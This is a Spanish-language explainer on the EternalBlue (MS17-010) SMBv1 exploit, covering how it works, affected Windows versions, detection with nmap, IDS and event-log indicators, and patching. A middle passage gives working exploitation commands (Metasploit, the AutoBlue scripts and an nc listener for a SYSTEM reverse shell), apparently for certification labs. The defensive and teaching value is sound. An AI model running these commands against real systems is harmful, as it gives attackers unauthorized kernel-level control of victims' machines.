EternalBlue (MS17-010)
EternalBlue es el nombre del exploit que aprovecha MS17-010, una familia de vulnerabilidades de corrupción de memoria en el servicio SMBv1 de Windows. Fue desarrollado por la NSA, filtrado por Shadow Brokers en 2017 y, semanas después, convertido en el motor de propagación de WannaCry y NotPetya.
Qué falla. SMBv1 maneja mal ciertas peticiones (en particular en el procesamiento de paquetes Trans2/SrvOs2FeaListToNt): un atacante envía paquetes manipulados que provocan una escritura fuera de límites en el pool del kernel. Con un heap grooming cuidadoso, esa corrupción se convierte en ejecución de código en modo kernel. Por eso la shell resultante es directamente NT AUTHORITY\SYSTEM: no hay fase de usuario ni escalada posterior.
Sin autenticación, sin interacción. El ataque solo necesita alcanzar el puerto 445/TCP con SMBv1 habilitado. No requiere credenciales ni que ningún usuario haga clic en nada, lo que lo hace devastador y "gusaneable" (capaz de propagarse solo de máquina a máquina).
Detección. El propio nmap da un veredicto fiable antes de disparar nada:
nmap -p445 --script smb-vuln-ms17-010 <ip>Explotación sin Metasploit. Metasploit tiene exploit/windows/smb/ms17_010_eternalblue, pero en certificaciones como OSCP se prefiere un exploit manual como AutoBlue-MS17-010: se genera un shellcode (shell_prep.sh) y se lanza el exploit acorde a la versión de Windows (eternalblue_exploit7.py para Windows 7). Puede requerir varios intentos hasta que el grooming del heap cuadra.
# Metasploit
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <ip>; set LHOST <lhost>; run"
# manual (AutoBlue): preparar shellcode y lanzar segun la version
./shell_prep.sh # genera sc_x64.bin / sc_x86.bin (pide LHOST/LPORT)
python3 eternalblue_exploit7.py <ip> sc_x64.bin
nc -nlvp <lport> # recibir la shell SYSTEMSistemas afectados. Windows XP/Vista/7, Server 2003/2008/2008 R2 y variantes sin el parche de marzo de 2017. SMBv1 activo + sin parche = vulnerable.
Cómo detectarlo. En red es muy reconocible: EternalBlue usa SMBv1 (que en 2017+ casi nadie debería hablar ya) y su exploit envía peticiones Trans2/SMB_COM_TRANSACTION2 anómalas. Una regla IDS/IPS clásica es la firma de Suricata/Snort ET EXPLOIT ETERNALBLUE (uso de Trans2 SESSION_SETUP con el patrón del doble pulsar), y cualquier tráfico SMBv1 hacia el 445 desde un host que no lo necesita ya es un indicador. En el propio equipo, el crash o la ejecución en kernel puede dejar un Event ID 7031/7034 (servicio que se detuvo inesperadamente) si el grooming falla, y la shell como SYSTEM sin login previo (sin 4624 interactivo) seguida de procesos hijo bajo services.exe/spoolsv es la huella post-explotación. El backdoor DoublePulsar responde a un ping SMB específico que los escáneres detectan.
Defensa. Aplicar MS17-010, deshabilitar SMBv1 por completo (Microsoft lo recomienda desde hace años) y filtrar el 445 en el perímetro. Es uno de los pocos exploits donde "parchea y olvídate" basta, pero sigue vivo porque quedan sistemas heredados sin tocar.